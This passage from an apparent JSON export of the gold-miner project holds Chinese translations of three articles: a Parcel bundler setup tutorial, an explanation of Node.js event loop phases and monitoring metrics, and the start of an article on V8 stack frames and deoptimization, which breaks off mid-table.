有一个开箱即用的开发服务器。它会在你更改文件的时候自动重建你的应用程序，并支持 [模块热替换](https://parceljs.org/hmr.html) 以实现快速开发。\n\n#### **Parcel 有什么优势？**\n\n* 快速打包 —— Parcel 比 Webpack，Rollup 和 Browserify 打包更快。\n\n![](https://cdn-images-1.medium.com/max/800/1*jovxixL_dfSEnp9f6r8eEA.png)\n\nParcel benchmarks\n\n需要考虑到的一点是：Webpack 仍然是极好的，并且有时候能更快\n\n![](https://cdn-images-1.medium.com/max/800/1*e9ZNxTRvxQSgAHFIegC-6w.png)\n\n[来源](https://github.com/TheLarkInn/bundler-performance-benchmark/blob/master/README.md)\n\n* Parcel 支持 JS，CSS，HTML，文件资源等 —— **无需插件 —— 对用户更加友好。**\n* 无需配置。开箱即用的代码拆分，热模块更新，css预处理，开发服务器，缓存等等！\n* 更友好的错误日志。\n\n![](https://cdn-images-1.medium.com/max/800/1*miFAZZhZpaloYs1fj3jB0A.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*2MnJM2-lQHND-icGggt4Ug.png)\n\nParcel 错误处理\n\n#### 那么 —— 我们应该在什么时候使用 Parcel, Webpack 或者 Rollup 呢?\n\n这完全取决于你，但我个人会在以下情况使用不同的打包工具：\n\n**Parcel** —— 中小型项目（<1.5万行代码）\n\n**Webpack** —— 大到企业级规模的项目。\n\n**Rollup** —— NPM 包。\n\n**让我们赶紧试下 Parcel 吧!**\n\n* * *\n\n#### 安装非常简单\n\n```\nnpm install parcel-bundler --save-dev\n```\n\n我们在本地安装了 [parcel-bundler npm package](https://www.npmjs.com/package/parcel-bundler)。现在我们需要初始化一个 Node 项目。\n\n![](https://cdn-images-1.medium.com/max/800/1*ncsWSVcZ9H2GvCryk1bjbw.png)\n\n接下来，创建 `index.html` 和 `index.js` 文件。\n\n![](https://cdn-images-1.medium.com/max/800/1*42o-xydISJg7RFPJEV8vXQ.png)\n\n将 `index.js` 链接到 `index.html` 中\n\n![](https://cdn-images-1.medium.com/max/600/1*mnvGwOAj77U0ukki4s4LZQ.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*0SsOP82bxYkYIt-H9XL8Zw.png)\n\n最后添加 parcel 脚本到 `package.json`\n\n![](https://cdn-images-1.medium.com/max/800/1*n3Al1gXiv4tNNGo3pWc-ug.png)\n\n这就是所有的配置 —— 惊人的节省时间吧！\n\n接下来，启动我们的服务器。\n\n![](https://cdn-images-1.medium.com/max/600/1*Yq8tQPP6Qv80xwV3N-1lIw.gif)\n\n![](https://cdn-images-1.medium.com/max/600/1*tWzj5lTbPm2rEZKndCgKhQ.png)\n\n立竿见影！注意构建时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*6PKBaYyEQrK889opDE72Vg.png)\n\n**15 ms?!** 哇，真是太快了！\n\n添加一些 HMR 会怎么样呢?\n\n![](https://cdn-images-1.medium.com/max/800/1*KHATEDXNqL5fshf3S0B5Zw.gif)\n\n也感觉非常快。\n\n* * *\n\n### SCSS\n\n![](https://cdn-images-1.medium.com/max/800/1*dMNikHR10Nfw1Z0PtmITXA.png)\n\n我们所需要的只是 `node-sass` 包，让我们开始吧！\n\n```\nnpm i node-sass && touch styles.scss\n```\n\n接下来，添加一些样式并且将 `styles.scss` 引入到 `index.js`\n\n![](https://cdn-images-1.medium.com/max/600/1*lhF1lxmw4RQNyTpI1Y1Hdw.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*SSv27gQ34310LyJBHqo8ZQ.png)\n\n>![](https://cdn-images-1.medium.com/max/1000/1*r8zgxebzyd-KV7LU63qfww.png)\n\n* * *\n\n### 生产环境构建\n\n我们所需要做的就是添加一个 `build` 脚本到 `package.json`\n\n![](https://cdn-images-1.medium.com/max/800/1*BbfYCV5-PaFwDX_Y68oXgw.png)\n\n运行我们的 build 脚本。\n\n![](https://cdn-images-1.medium.com/max/800/1*bPzZxDj7qAwfMFkPBy44Ow.gif)\n\n看，Parcel 让我们的生活变得多么轻松？\n\n![](https://cdn-images-1.medium.com/max/800/1*TVPM_3Zm60KkLxnhdDVMOQ.png)\n\n你也可以像这样指定一个特定的构建路径：\n\n```\nparcel build index.js -d build/output\n```\n\n* * *\n\n### React\n\n![](https://cdn-images-1.medium.com/max/800/1*6kK9j74vyOmXYm1gN6ARhQ.png)\n\n配置 React 也相当简单, 我们所需要做的只是安装 React 依赖并配置 `.babelrc`\n\n```\nnpm install --save react react-dom babel-preset-env babel-preset-react && touch .babelrc\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*8LV0jtqGPIRN-Z05nZjWZQ.png)\n\n那么！！！就让我们使出杀手锏吧！继续往下看之前，你自己可以尝试写一个初始的 react 组件。\n\n![](https://cdn-images-1.medium.com/max/600/1*w6prJQoCeWWClTIGe-2eCg.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*JcIe-GLpc9yiNnWauvobrQ.png)\n\n![](https://cdn-images-1.medium.com/max/1000/1*7ME5571Q3BlWNAgFwSGxHg.png)\n\n* * *\n\n### Vue\n\n![](https://cdn-images-1.medium.com/max/800/1*lJPS840gMBZYhHeZ6aop_g.png)\n\n**同样，这是个 Vue 的例子**\n\n首先安装 `vue` 和 `parcel-plugin-vue` —— 后者用于支持 `.vue` 组件。\n\n```\n$ npm i --save vue parcel-plugin-vue\n```\n\n我们需要添加根元素，引入 vue 的 index 文件并初始化 Vue。\n\n首先创建一个 vue 目录，并创建 `index.js` 和 `app.vue`\n\n```\n$ npm i --save vue parcel-plugin-vue\n```\n\n \n\n \n\n```\n$ mkdir vue && cd vue && touch index.js app.vue\n```\n\n现在将 `index.js` 挂载到 `index.html`\n\n![](https://cdn-images-1.medium.com/max/800/1*PJ7L4G15cDpvreu6NkdXLQ.png)\n\n最后，让我们实例化 vue，并写第一个 vue 组件！\n\n![](https://cdn-images-1.medium.com/max/600/1*EHKOgp5Yc69NBCImVJUJcg.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*TCyx5wWr5GK1O9E6bKllUA.png)\n\n![](https://cdn-images-1.medium.com/max/1000/1*XDZ71d55e8vGY8QoVeJGlw.png)\n\n瞧！我们安装了 Vue，并支持 `.vue` 文件\n\n* * *\n\n### TypeScript\n\n![](https://cdn-images-1.medium.com/max/800/1*SwI4JNcok6yj8b6a0Mykvg.png)\n\n这部分非常容易。只需安装 TypeScript，让我们开始吧！\n\n```\nnpm i --save typescript\n```\n\n创建一个 `index.ts` 文件，并将它插入到 `index.html` 中\n\n![](https://cdn-images-1.medium.com/max/600/1*zp1272l6v1XxLmX8QSndkA.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*mR0wngPbI4UfHtMZxletxQ.png)\n\n![](https://cdn-images-1.medium.com/max/1000/1*QpIDy402yydKokM1bO5l7A.png)\n\n准备好了就去做吧！\n\n### [Github源码](https://github.com/wesharehoodies/parcel-examples-vue-react-ts)\n\n* * *\n\n如果你认为这篇文章有用，请给我一些鼓励，并让更多的人看到它！\n\n可以关注我的 [twitter](https://twitter.com/lasnindrek) 了解更多！\n\n感谢阅读！ ❤\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/all-you-need-to-know-to-really-understand-the-node-js-event-loop-and-its-metrics.md",
    "content": "\n> * 原文地址：[All you need to know to really understand the Node.js Event Loop and its Metrics](https://www.dynatrace.com/blog/all-you-need-to-know-to-really-understand-the-node-js-event-loop-and-its-metrics/)\n> * 原文作者：[Daniel Khan](https://www.dynatrace.com/blog/author/daniel-khan/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/all-you-need-to-know-to-really-understand-the-node-js-event-loop-and-its-metrics.md](https://github.com/xitu/gold-miner/blob/master/TODO/all-you-need-to-know-to-really-understand-the-node-js-event-loop-and-its-metrics.md)\n> * 译者：[MuYunyun](https://github.com/MuYunyun)\n> * 校对者：[sigoden](https://github.com/sigoden)、[zyziyun](https://github.com/zyziyun)\n\n# 所有你需要知道的关于完全理解 Node.js 事件循环及其度量\n\nNode.js 是一个基于事件的平台。这意味着在 Node 中发生的一切都是基于对事件的反应。通过 Node 的事件处理机制遍历一系列回调。\n\n事件的回调，这一切都由一个名为 libuv 的库来处理，它提供了一种称为事件循环的机制。\n\n这个事件循环可能是平台中最被误解的概念。当我们提及事件循环监测的主题时，我们花了很多精力来正确地理解我们实际监视的内容。\n\n在本文中，我将带大家重新认知事件循环是如何工作以及它是如何正确地监视。\n\n## 常见的误解\n\nLibuv 是向 Node.js 提供事件循环的库。在 libuv 背后的关键人物 Bert Belder 的精彩的演讲 [Node 交互的主题演讲](https://www.youtube.com/watch?v=PNa9OMajw9w) 中，演讲开头他使用 Google 图像搜索展示了各种不同方式描述事件循环的图片，但是他指出大部分图片描绘的都是错误的。\n\n[![](https://dt-cdn.net/wp-content/uploads/2017/07/Insert1-1024x464.png)](https://www.dynatrace.com/blog/?attachment_id=20207)\n\n让我们来看看最流行的误解。\n\n### 误解1：在用户代码中，事件循环在单独的线程中运行\n\n#### 误解\n\n用户的 JavaScript 代码运行在主线程上面，而另开一个线程运行事件循环。每次异步操作发生时，主线程将把工作交给事件循环线程，一旦完成，事件循环线程将通知主线程执行回调。\n\n#### 现实\n\n只有一个线程执行 JavaScript 代码，事件循环也运行在这个线程上面。回调的执行（在运行的 Node.js 应用程序中被传入、后又被调用的代码都是一个回调）是由事件循环完成地。稍后我们会深入讨论。\n\n### 误解2：异步的所有内容都由线程池处理\n\n#### 误解\n\n异步操作，像操作文件系统，向外发送 HTTP 请求以及与数据库通信等都是由 libuv 提供的线程池处理的。\n\n#### 现实\n\nLibuv 默认使用四个线程创建一个线程池来完成异步工作。今天的操作系统已经为许多 I/O 任务提供了异步接口（[例子 AIO on Linux](http://man7.org/linux/man-pages/man7/aio.7.html)）。\n\n只要有可能，libuv 将使用这些异步接口，避免使用线程池。\n\n这同样适用于像数据库这样的第三方子系统。在这里，驱动程序的作者宁愿使用异步接口，而不是使用线程池。\n\n简而言之：只有没有其他方式可以使用时，线程池才将会被用于异步 I/O 。\n\n### 误解3：事件循环类似栈或队列\n\n#### 误解\n\n事件循环采用先进先出的方式执行异步任务，类似于队列，当一个任务执行完毕后调用对应的回调函数。\n\n#### 现实\n\n虽然涉及到类似队列的结构，事件循环并不是采用栈的方式处理任务。事件循环作为一个进程被划分为多个阶段，每个阶段处理一些特定任务，各阶段轮询调度。\n\n## 了解事件循环周期的阶段\n\n为了真正地了解事件循环，我们必须明白各个阶段都完成了哪些工作。 希望 Bert Belder 不介意，我直接拿了他的图片来说明事件循环是如何工作的：\n![](https://dt-cdn.net/wp-content/uploads/2017/07/event-loop-final-phases-1024x538.png)\n\n事件循环的执行可以分成 5 个阶段，让我们来讨论这些阶段。更加深入的解释见 [Node.js 官网](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/)\n\n### 计时器\n\n通过 setTimeout() 和 setInterval() 注册的回调会在此处处理。\n\n### IO 回调\n\n大部分回调将在这部分被处理。Node.js 中大多数用户代码都在回调中处理（例如，对传入的 http 请求触发级联的回调）。\n\n### IO 轮询\n\n对接着要处理的事件进行新的轮询。\n\n### Immediate 设置\n\n此处处理所有由 setImmediate() 注册的回调。\n\n### 结束\n\n这里处理所有‘结束’事件的回调。\n\n## 监测事件循环\n\n我们看到，事实上在 Node 应用程序中进行的所有事件都将通过事件循环运行。这意味着如果我们可以从中获得指标，相应地我们可以分析出有关应用程序整体运行状况和性能的宝贵信息。\n\n没有现成的 API 可以从事件循环中获取运行时指标，因此每个监控工具都提供自己的指标，让我们来看看都有些什么。\n\n### 记录频率\n\n每次的记录数。\n\n### 记录持续时间\n\n一个刻度的时间。\n\n由于我们的代理作为本机模块运行，因此这是比较容易地添加探测器为我们提供这些信息。\n\n#### 记录频率以及记录持续事件指标\n\n当我们在不同的负载下进行第一次测试时，结果令人惊讶 - 让我举例说明一下：\n\n在以下情况下，我正在调用一个 express.js 应用程序，对其他 http 服务器进行外拨呼叫。\n\n有以下 4 中情况:\n\n1. *Idle*\n\n没有传入请求\n\n2. *ab -c 5*\n\n使用 apache bench 工具我一次创建了 5 个并发请求\n\n3. *ab -c 10*\n\n一次 10 个并发请求\n\n4. *ab -c 10 (slow backend)*\n\n为了模拟出一个很慢的后端，我们让被调用的 http 服务器在 1s 后返回数据。这样造成请求等待后端返回数据，被堆积在 Node 中，产生背压。\n\n[![](https://dt-cdn.net/wp-content/uploads/2017/07/Insert3-1024x352.png)](https://www.dynatrace.com/blog/?attachment_id=20209)\n\n事件循环执行阶段\n\n如果我们看看得到的图表，我们可以做一个有趣的观察：\n\n##### 事件循环持续时间和被动态调整频率\n\n如果应用程序处于空闲状态，这意味着没有执行任何任务（定时器、回调等），此时全速运行这些阶段是没有意义的，事件循环就这种情况会在在轮询阶段阻塞一段时间以等待新的外部事件进入。\n\n这也意味着，无负载下的度量（低频，高持续时间）与在高负载下与慢后端相关的应用程序相似。\n\n我们还看到，该演示应用程序在场景中运行得“最好”的是并发 5 个请求。\n\n**因此，标记频率和标记持续时间需要基于每秒并发请求量进行度量。**\n\n虽然这些数据已经为我们提供了一些有价值的见解，但我们仍然不知道在哪个阶段花费时间，因此我们进一步研究并提出了另外两个指标。\n\n### 工作处理延迟\n\n这个度量衡量线程池处理异步任务所需的时间。\n\n高工作处理的延迟表示一个繁忙/耗尽的线程池。\n\n为了测试这个指标，我创建了一个使用 [Sharp](https://www.npmjs.com/package/sharp) 的模块来处理图像的 express 路由。 由于图像处理开销太大，Sharp 利用线程池来实现。\n\n[![](https://dt-cdn.net/wp-content/uploads/2017/07/Insert4-1024x358.png)](https://www.dynatrace.com/blog/?attachment_id=20211)\n\n通过 Apache bench 发起 5 个并发请求到具有图像处理功能的路由与没有使用图片处理的路由有很大不同，可以直接从图表上可以看到。\n\n### 事件循环延迟\n\n事件循环延迟测量在通过 setTimeout(X) 调度的任务真正得到处理之前需要多长时间。\n\n事件循环高延迟表示事件循环正忙于处理回调。\n\n为了测试这个指标，我创建了一个 express 路由使用了一个非常**低效**的算法来计算斐波那契。\n\n[![](https://dt-cdn.net/wp-content/uploads/2017/07/Insert51-1024x400.png)](https://www.dynatrace.com/blog/?attachment_id=20212)\n\n运行具有 5 个并发连接的 Apache bench，具有计算斐波那契功能的路由显示此刻回调队列处于繁忙状态。\n\n我们清楚地看到，这四个指标可以为我们提供宝贵的见解，并帮助您更好地了解 Node.js 的内部工作。\n\n这些需求仍然需要在更大的图片中去观察，以使其有意义。因此，我们正在收集信息以将这些数据纳入我们的异常检测。\n\n## 回到事件循环\n\n当然，在不了解如何从可能的行动中解决问题的情况下，衡量标准本身就不会有太大的帮助。当事件循环快耗尽时，这里有几个提示。\n\n[![](https://dt-cdn.net/wp-content/uploads/2017/07/Insert6-1024x410.png)](https://www.dynatrace.com/blog/?attachment_id=20213)\n\n事件循环耗尽\n\n### 利用所有 CPU\n\nNode.js 应用程序在单个线程上运行。在多核机器上，这意味着负载不会分布在所有内核上。使用 Node 附带的 [cluster module](https://nodejs.org/api/cluster.html) 可以轻松地为每个 CPU 生成一个子进程。每个子进程维护自己的事件循环，主进程在所有子进程之间透明地分配负载。\n\n### 调整线程池\n\n如上所述，libuv 将创建一个大小为 4 的线程池。通过设置环境变量 UV_THREADPOOL_SIZE 可以覆盖线程池的默认大小。\n\n虽然这可以解决 I/O 绑定应用程序上的负载问题，我建议多次负载测试，因为较大的线程池可能仍然耗尽内存或 CPU 。\n\n### 将任务扔给服务进程\n\n如果 Node.js 花费太多时间参与 CPU 繁重的操作，开一些服务进程处理这些繁重任务或者针对某些特定任务使用其它语言编写服务也是一个可行的选择。\n\n## 总结\n\n我们总结一下我们在这篇文章中学到的内容：\n\n- 事件循环是使 Node.js 应用程序运行的原因\n- 它的功能经常被误解 - 它有多个阶段组成，各阶段处理特定任务，阶段间轮询调度\n- 事件循环不提供现成的指标，因此收集的指标在 APM 供应商之间是不同的\n- 这些指标清楚地提供了有关瓶颈的有价值的见解，但对事件循环的深刻理解以及正在运行的代码才是关键\n- 在未来，Dynatrace 将会把事件循环添加到第一检测要素，从而将事件循环异常与问题相关联\n\n对我来说，毫无疑问，我们今天刚刚在市场上构建了最全面的事件循环监控解决方案，我非常高兴在未来几个星期内，这个惊人的新功能将推向所有客户。\n\n## 最后\n\n我们一流的 Node.js 代理团队为了做好事件循环监控尽了很大努力。这篇博客文章中提出的大部分发现都是基于他们对 Node.js 内部运作的深入了解。 我要感谢 Bernhard Liedl ，Dominik Gruber ，GerhardStöbich 和 Gernot Reisinger 所有的工作和支持。\n\n我希望这篇文章使大家在事件循环上有新的认知。请在 Twitter 上关注我 [@dkhan](https://twitter.com/dkhan)。我很乐意回答您在 Twitter 里或下面评论区中的提出的一切问题。\n\n最后和以往一样：[下载免费试用版去监控您的完整堆栈，包括Node.js](https://www.dynatrace.com/technologies/nodejs-monitoring/)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/altering-javascript-frames.md",
    "content": "\n> * 原文地址：[Altering JavaScript frames](https://ripsawridge.github.io/articles/stack-changes/)\n> * 原文作者：[michael stanton](https://ripsawridge.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/altering-javascript-frames.md](https://github.com/xitu/gold-miner/blob/master/TODO/altering-javascript-frames.md)\n> * 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n> * 校对者：[Hyde Song](https://github.com/HydeSong), [薛定谔的猫](https://github.com/Aladdin-ADD)\n\n# 修改 JavaScript 帧\n\n曾经有段时间我一直在开发 [V8](https://code.google.com/p/v8/) 中的一个项目，将类型反馈编码到简单的数据结构中，而不是将其嵌入到编译代码中。\n\nV8 内联缓存系统通常编译一个 \"dispatcher\" 用于检查传入的对象是否映射到一个常量上。如果匹配上了，则将 control 发送给处理程序，该处理程序可能是一个 stock stub，也可能是为该对象专门编译产生的。内联缓存（IC）将此 dispatcher 代码粘贴到已编译函数中。dispatcher 起到了提高性能的作用，因为许多决策都被简化为相对于常量的映射比较（我们称之为映射检查）。我们还可以在以后对它的嵌入式映射进行检查，以确定它在创建优化代码时了解到的内容是否正确。\n\n在简要阐述了 ICs 如何工作之后（这里是 [进阶介绍](http://mrale.ph/blog/2012/06/03/explaining-js-vms-in-js-inline-caches.html)），你可能会想，为什么要改变它呢？答案是，出于安全考虑，避免补丁代码是好的，但事实上它同时会导致指令缓存的刷新，而这会妨碍在某些平台上的性能。而将 Map 存储在数组中是很自然的，这使得我们能够更加容易地收集额外信息。例如，我们可能需要存储多态调用计数。当我们使用数据结构时，我们可以为每个 map 存储一个三元组: 映射，跳转到的 \"处理程序\"，以及整数计数。这可以用于以后多态调用的排序。您甚至可以通过分流不常使用的 map 将这些数据合并到一个普通的处理程序中，从而减少多态。\n\n这就是为什么在数据结构而不是代码中嵌入信息的原因。但 V8 IC 系统庞大、复杂、性能敏感。由于这种引入数据结构的反馈速度很慢。一年前，我开始使用“类型反馈向量”来记录从一个 JavaScript 函数到另一个函数调用的数据。现在我正在开发负载（比如 `x = obj.foo` 和 keyed 负载如 `x = obj[h]`）的类型反馈向量使用，并且完全地避免补丁代码。\n\n数据结构解决方案的难点在于无论如何分配都存在比嵌入方案更多的内存负载问题。此处我们来看类型向量的另一个潜在好处：它可以被用于那些只有部分类型反馈的优化代码中。通常情况下，如果 V8 开始运行一段在完整代码中从未运行过的部分，它将会反优化一个已优化的函数。这可能发生在一个函数被认为是“热门”，但其中有一个分支从未被执行时。对于类型反馈向量，我们可以在这些信息贫乏的位置安装基于向量的 ICs，允许他们学习一段时间，然后在得到一定量新信息后再进行优化。\n\n对 V8 来说，反优化函数代价高昂，我稍后再讲 —— 这只是大量的工作和复杂度。在应用程序的生命周期中，类型向量提供了平滑和适度优化/不优化的转换曲线的可能性。\n\n这就是我所希望的。正如前文所提，V8 使用类型向量调用 ICs，但是负载这一重要的情况必须解决，因为负载超荷的情况很多。如果这能实现，那么才允许我们完成剩下的工作，最终实现完全消除补丁。这是一个非常有趣的项目。\n\n我写这篇文章的时候，我已经了解了这个领域，灵感来自于 [Vyacheslav Egorov 解释内联缓存的文章](http://mrale.ph/blog/2012/06/03/explaining-js-vms-in-js-inline-caches.html)，他以一种可读和有趣的方式来解释内联缓存。我喜欢他的示意图，因为它让我想起了我似乎能够将大多数概念内化的唯一方法：把它们画在纸上。Vyacheslav 构建了一个 [工具](https://moe-js.googlecode.com/git/talks/jsconfeu2012/tools/shaky/deploy/shaky.html) 来创建具有吸引力的 ASCII “盒子和指针”示意图，我开始用它来思考过程中的步骤。创作这些照片在过去的几天里产生了很大的乐趣。\n\n## 负载过多\n\n我已经花了一些时间来微调数据驱动调度程序，它搜索 vector 以完成 map 的校验和 dispatch。那是另一篇文章的主题，但能在这儿说的是我正在考虑对数据进行 2 级预测读取，以确保避免崩溃，只是为了保证额外的读取操作... 这个工作已经进行到尾声了。\n\n现在，来讨论在调用 dispatcher 之前需要读取的次数。类型向量是一个为 JavaScript 函数附加到 SharedFunctionInfo 的数组。它通过 \"slot\" 索引，这些 slot 在编译时分发给请求它们的编译节点。IC 接收一个指向向量的指针，并将整数索引指向向量(索引是从 slot 中派生出来的，而不是相同的东西)。\n\n很好，但是我们如何为这次调用将这个向量加载到寄存器中呢？由于向量是个常量，可以嵌入到代码中，但实验表明，这改变了代码的大小，甚至只是在调用时使用它的时候，如果我对所有的 IC 类型都这样做，会让代码变得难以忍受。它摆脱了 profiler 计算，同时暴露了一个弱点，即 profiler 是基于代码的字节大小，而不是抽象语法树节点的数量（当然，应该处理和转换成语法树）。这证明了使用一系列的负载是更好的适用于生产的解决方案。与此功能相关的 \"JSFunction\" 在堆栈帧中可用。加载后，遍历 vector 找到目标向量并挂在到 SharedFunctionInfo 上。看起来负载并不大，因为数据都在缓存中。\n\n![](drawings/frame-jsfunction.png)\n\n但是对于更广泛的类型向量概念的应用，负载变得难以支持。来看函数 **foo**：\n\n```\nfunction foo(obj, x) {\n  for (var i = 0; i < x.length; i++) {\n    x[i] = x[i] * i + obj.foo;\n    check(i);\n  }\n}\n\n```\n\n表达式 `x.length`，第二个 `x[i]`，`obj.foo` 和 `check(i)` 均需要类型向量。仅考虑需要 3 个负载的向量情况，就有 `3 * 4 * x.length` 个负载。\n\n理想情况下，通过从循环中提升向量负载，我们会只有 3 个负载。但这更多地涉及到架构，而不是我们想要专注的完整代码。在优化的代码中使用类型向量并不会很重，但是在这些编译中引入向量作为节点，这个部分将得到类型变量提升。但是我可以通过将反馈向量存储在帧中来减少负载的数量，意味着我们将有 `4 * x.length` 个负载。（或者至少在 profiler 确定函数足够常用，并通过堆栈替换（OSR）在一个优化的版本中减少长度，这是一个奇妙的事情）。更重要的是，这些负载都来自帧中的堆栈地址，应该保留在缓存中。  \n\n这意味着我必须改变帧布局。\n\n## 未优化的 JavaScript 帧获得向量\n\n首先，为什么只将向量添加到未优化的 JavaScript 帧中？一个优化的 JavaScript 帧实际上包含了很多向量，每一个函数都有一个内联向量。表面上优化的函数的向量只是部分有用，不能被任何内联函数引用。当然，在内联调用中可能会有一个加载/恢复步骤，但是在代码中似乎有很多工作应该是紧凑的，所以理想情况下，不应该使用类型向量。理想情况下，我们已经了解了迄今为止看到的所有 IC。另外，如果我们需要在优化的代码中引用类型反馈向量，我们可以让诸如 GVN 和寄存器分配器之类的先进技术决定在何处放置常量向量地址以及何时加载它。\n\n因此，下图演示了一个 V8 JavaScript 帧，它在 JSFunction 之后添加了一个类型向量字段。此堆栈在调用另一个函数之前就被定位了：\n\n![](drawings/frame1.png)\n\n优化后的帧看起来有点不同。没有向量，但 32 位平台上有一个对齐字，表示堆栈是否已对齐。这里有一个不发生对齐的情况，即在调用另一个函数之前:\n\n![](drawings/frame2.png)\n\n对齐方式引入了一些复杂度。当我们要将之前的 `$ebp` 保存到堆栈时，检查 `$ebp` 是否对齐。如果对齐了，正常运行，将 0 保存在帧的对齐 slot 中。否则，我们将把接收方、参数和返回地址在堆栈中下移 1 word，并将 “zap 值”（`0x12345678`）放入接收方所在的位置。然后当它需要删除帧的时候，在对齐 slot 中存入 2 作为一个信号。当我们在返回时遇到这个值时，我们知道我们需要从堆栈中再清除一个字（“zap值”）。在删除帧之前，我们必须先阅读对齐 slot，然后在删除帧之后，我们就必须处理接收方和参数。下面的示例是带有一个参数的函数和一个接收方。优化后的帧只有一个真实的溢出 slot，另一个为对齐字保留。\n\n![](drawings/frame-align.png)\n\n在设置帧之前，需要对一个优化帧进行对齐。插入一个“zap值”，堆栈下移 1 word。在步骤(3)中，已经构建了优化的帧，而对齐字包含了 2 值，提示返回时 zap 值也需要从堆栈中弹出。\n\n## 逆优化\n\n如果一个优化的函数需要还原，那么对应帧需要被转译成几个输出帧，因为一个优化的函数也可能包含许多内联函数。我们最后得到一个 `InputFrame` 和几个 `outputframe`。\n\n我们来看看一个没有参数的优化函数逆优化。该函数有两个溢出 slot，一个用于对齐字。逆优化进程开始时调用一个函数，该进程推送一个 Bailout ID，然后，逆优化函数将寄存器推送到堆栈，并准备创建一个“逆优化”对象。\n\n![](drawings/frame-deopt.png)\n\n该函数已被逆优化，并且正在准备创建逆优化对象。所有必要的信息都在堆栈上。这些信息用于构建逆优化器。然后我们展开整个堆栈，复制所有寄存器，然后在创建逆优化器时分配给输入 \"FrameDescription\" 对象的帧。这时我们使用 C++ 并计算所有输出帧。在此之后，我们检查对齐字，并弹出对齐的 \"zap 值\"，如果它还存在（不在上面的例子中）。我们最终得到一个全空的堆栈，无法执行任何操作或跳转到别处，因为返回地址已经弹出堆栈。\n\n循环所有的输出帧，将其内容从较高(最深)地址推到较低(最浅)的地址:\n\n![](drawings/frame-deopt2.png)\n\n计算出 OutputFrame，并将其复制到堆栈的适当位置中。最后，后续数据和寄存器状态继续送入堆栈。我们将寄存器的值弹出，返回到后续地址，最后把状态和 pc 完美地放入 N - 1 帧中。\n\n使用 `popad` 指令，将保存的寄存器恢复到 CPU 中，然后执行一个 `ret` 指令从堆栈中弹出后续地址，然后跳转到对应的代码。读取状态和 pc 地址以适当地在正确的位置上输入未优化的代码。堆栈将逐渐正确地展开。\n\n由于在完整的 JavaScript 代码帧中添加了额外的类型反馈向量，因此输出帧的固定大小不同。这是一个参数，非对齐例子的底层帧一对一转换示意图，输出帧没有局部变量。\n\n![](drawings/frame-deopt3.png)\n\n另外,如果最底层的优化帧是对齐的,我们必须删除对齐 zap 值并把值转移到堆栈高地址区（原谅我这么关注对齐... 这是最基本的）:\n\n![](drawings/frame-deopt4.png)\n\n一个对齐的，已优化的 InputFrame 在如上堆栈中会被替换。注意，输出帧与之前未对齐的情况相同。\n\n## 栈替换（OSR）\n\n如果运行一个紧凑的循环，我们可能想在结束之前优化和替换代码。这意味着在当前帧上优化和安装已优化帧。实际上，我们只是简单地将新帧的新增部分追加到现有的 JavaScriptFrame 的末尾。已优化帧有溢出 slot。这些将会在已经存在的帧中进行。进入优化代码的第一个任务（中等长度的循环, 多兴奋!）是把那些局部变量复制到寄存器分配程序可以跟踪它们的溢出 slot 中。\n\n我修改了 OSR 入口点，将这些局部变量移到堆栈上，重写未优化代码中的向量 slot。我的第一个方法以测试失败告终，具体方法是将这个向量放在适当的位置，并尝试让优化编译器将它当作一个“额外的”溢出 slot 来处理。这很复杂。首先，逆优化器必须弄清楚它是否对 OSR 条目的函数进行了逆优化，并在前一种情况下使用“额外”的字来继续处理。此外，Crankshaft 优化函数与 OSR 条目可以在一开始就输入，而这个输入会使堆栈多一个额外的虚拟值，以便使局部偏移量和 OSR 入口点创建的溢出 slot 保持同步。当我放弃这种方法的时候，人生都亮了！\n\n因为要考虑优化帧的对齐，所以替换使用 OSR 的代码也意味着要移动对应帧的现有部分。这里有一个示例，左侧显示未优化的堆栈，右侧显示已优化的堆栈。在优化前后对比图中，请注意，在优化帧中，删除向量后，固定部分变得更小:\n\n![](drawings/frame-osr.png)\n\n## 虚拟逆优化调试器\n\n我们有一个测试 [**debug-evaluate-locals-optimized.js**](https://chromium.googlesource.com/v8/v8.git/+/master/test/mjsunit/debug-evaluate-locals-optimized.js) 来验证调试器可以解释堆栈上所有函数的局部变量和参数，即便是经过优化的函数。这个示例设置了一系列从函数 `f` 到函数 `h` 的调用，并调用函数 `h` 中的调试器来验证预期值。\n\n```\nFunction  Locals           Notes\nf         a4 = 9, b4 = 10  call g1 (inlined in f, argument adapted)\ng1        a3 = 